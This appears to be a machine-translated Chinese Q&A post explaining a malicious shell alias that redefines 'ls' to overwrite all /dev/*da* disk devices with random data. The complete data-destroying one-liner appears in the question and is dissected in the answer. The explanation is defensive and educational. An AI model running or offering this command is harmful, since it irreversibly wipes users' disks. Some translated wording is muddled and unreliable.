這個命令的一些幫助,不知道它是做什麼的?
但我假設它是有害的
alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done
如果程式碼似乎遺漏/錯誤縮進,請修復它。
程式碼不正確。它在 for 循環的末尾缺少一個右引號,這可能是有害的。讓我解釋一下。
該
alias
命令是一個shell 公告。顧名思義,它將一個單詞別名為另一個命令。這本身並不是惡意或有害的。在大多數情況下,它非常有用,尤其是當您需要定期執行帶有多個標誌和參數的非常長的命令時。使此命令可能有害的原因是兩種不同事物的組合。
- 別名將覆蓋現有命令。我在下面提供了一個範例:
-bash-3.2$ type ls ls is hashed (/bin/ls) -bash-3.2$ ls file file1 file2 -bash-3.2$ alias ls="echo this is a test" -bash-3.2$ ls this is a test -bash-3.2$
- 當這個
alias
命令被正確執行時,它將ls
用一個 for 循環覆蓋該命令,當執行時,它將用偽隨機數據覆蓋第一個辨識的硬碟驅動器中的第一個,然後繼續下一個。為了嘗試分解這個 for 循環的工作原理,它首先在 /dev 中查找與萬用字元擴展匹配的任何設備塊
*da*
。IDE 驅動器使用h
前綴,SATA 驅動器使用s
前綴。在大多數帶有一個硬碟驅動器的現代電腦中,該硬碟驅動器的設備塊將是/dev/sda
.從那裡開始,各個分區都以數字為後綴(例如
sda1
、sda2
等)。一旦設備塊匹配,$i 的值將包含它的路徑。然後它將在後台執行將執行的命令cat /dev/urandom &> ${i} &
,並將cat /dev/urandom
它吐出的所有數據發送到 ${i} 的值,有效地用偽隨機數據覆蓋設備塊。一旦第一個分區被填滿,
cat
命令將結束,for循環將再次執行,檢查下一個匹配的塊設備,用偽隨機數據覆蓋它,然後繼續下一個,直到沒有更多匹配的塊設備。需要明確的是,這本身並無害。執行此
alias
命令後,您必須執行ls
(以 root 身份執行 - 如果您不是 root 使用者,這將不起作用,因為您無法像任何其他使用者一樣將數據寫入設備塊)以造成任何損害。視覺化這可能有多危險的一個好方法是執行
bash -x
. 當 shell 啟動時,會執行一堆系統和使用者特定的配置文件。對於 bash,常見的是/etc/bash_profile
和~/.bash_profile
。通常,其中一個文件還有一個 if 語句來檢查~/.bashrc
和獲取它(如果存在)。由於這僅在ls
以 root 身份執行時才有效,因此該alias
命令必須首先以 root 身份執行。對於要將其添加到其中任何一個文件的人,他們必須首先以某種方式獲得 root 訪問權限。最後,我想指出,這是一個不切實際的擔憂,對於沒有 root 訪問權限的人來說,在電腦上實現這一目標是非常困難的。還有一些涉及較少的、同樣惡意的命令,它們也不需要對系統進行 root 訪問來執行。